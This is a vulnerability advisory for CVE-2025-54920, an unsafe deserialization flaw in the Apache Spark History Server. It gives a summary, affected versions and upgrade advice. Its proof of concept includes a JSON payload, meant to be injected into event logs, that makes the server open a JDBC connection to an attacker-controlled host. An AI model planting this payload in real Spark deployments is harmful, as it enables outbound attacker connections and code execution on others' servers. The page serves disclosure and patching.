CVE-2025-54920 Apache Spark: Spark History Server Code Execution Vulnerability

What is CVE-2025-54920?

CVE-2025-54920 is a high-severity unsafe deserialization vulnerability in Apache Spark, published on 14 Mar 2026. Any signed-in user can exploit it over the network, with no action from the victim.

Official description

This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.

Summary

Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.

Details

The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.

The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.

Proof of Concept:

1. Run Spark with event logging enabled, writing to a writable directory (spark-logs).

2. Inject the following JSON at the beginning of an event log file:

{

"Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } }

3. Start the Spark History Server with logs pointing to the modified directory.

4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.

Impact

An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.

Weakness: CWE-502

Which versions are affected by CVE-2025-54920?

13 open source packages ship an affected version, including org.apache.spark:spark-core_2.13, spark and org.apache.spark:spark-core_2.10. It affects 1 product.

Products include Apache Spark.

How do I fix CVE-2025-54920?

Upgrade org.apache.spark:spark-core_2.13 to a fixed version for your release line: 3.5.7 or 4.0.1.

Upgrade, and only deserialise data from trusted sources or with an allow-list of types. More about Unsafe deserialization.

Is CVE-2025-54920 being exploited?

There is no known exploitation of CVE-2025-54920 in the wild and no public exploit code.

Other vulnerabilities in Apache Spark

• CVE-2022-33891 Apache Spark Command Injection Exploited High 8.8
• CVE-2020-9480 Improper Authentication in Apache Spark Critical 9.8
• CVE-2018-17190 Remote Code Execution in spark-core Critical 9.8
• CVE-2019-20445 HTTP Request Smuggling in Netty Critical 9.1
• CVE-2023-32007 Apache Spark: Shell command injection via Spark UI High 8.8

Sources

• CVE record
• NVD
• OSV
• GitHub advisory
• How this page is made

Also known as BIT-spark-2025-54920, CLEANSTART-2026-NF76249, CLEANSTART-2026-XP93276, GHSA-jwp6-cvj8-fw65, MINI-j28q-p62w-chw6, MINI-whc8-crc9-hcjp.